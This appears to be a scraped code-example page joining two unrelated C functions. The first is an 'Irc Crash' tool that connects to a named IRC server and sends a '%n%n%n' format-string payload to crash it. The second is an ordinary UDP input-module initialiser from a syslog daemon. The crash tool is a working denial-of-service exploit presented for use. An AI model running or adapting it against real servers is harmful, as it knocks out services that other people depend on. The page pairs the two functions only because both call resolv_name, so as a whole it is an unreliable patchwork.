int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash \n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>\n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...\n");
   }
   else {
        printf("Error connecting to the ircserver\n");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %s\n",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffer\n");
        close(sock);
        return -1;
   }

   printf("Buffer send\n");

   close(sock);
   return 0;
}
Example #2
0
int
im_udp_init(struct i_module *I, char **argv, int argc)
{
	struct sockaddr		*sa;
	struct im_udp_ctx	*c;
	char			*host, *port;
	int			ch, argcnt;
	socklen_t		salen;

	if ( (I->im_ctx = calloc(1, sizeof(struct im_udp_ctx))) == NULL)
		return (-1);

	c = (struct im_udp_ctx *) I->im_ctx;

	port = "syslog";
	host = "0.0.0.0";

	argcnt = 1; /* skip module name */

	while ((ch = getxopt(argc, argv, "h!host: p!port: a!addhost q!nofqdn",
	    &argcnt)) != -1) {
		switch (ch) {
		case 'h':
			/* get addr to bind */
			host = argv[argcnt];
			break;
		case 'p':
			/* get remote host port */
			port = argv[argcnt];
			break;
		case 'a':
			c->flags |= M_USEMSGHOST;
			break;
		case 'q':
			/* dont use domain in hostname (FQDN) */
			c->flags |= M_NOTFQDN;
			break;
		default:
			m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: parsing error"
			    " [%c]\n", ch);
			FREE_PTR(c);
			return (-1);
		}
		argcnt++;
	}

	I->im_fd = socket(AF_INET, SOCK_DGRAM, 0);

	if ((sa = resolv_name(host, port, "udp", &salen)) == NULL) {
		m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: error resolving host"
		    "[%s] and port [%s]", host, port);
		FREE_PTR(c);
		return (-1);
	}

	if (bind(I->im_fd, sa, salen) < 0) {
		m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: error binding to host"
		    "[%s] and port [%s]", host, port);
		FREE_PTR(c);
		return (-1);
	}

	I->im_path = NULL;

	add_fd_input(I->im_fd , I);

	m_dprintf(MSYSLOG_INFORMATIVE, "im_udp: running\n");
	return (1);
}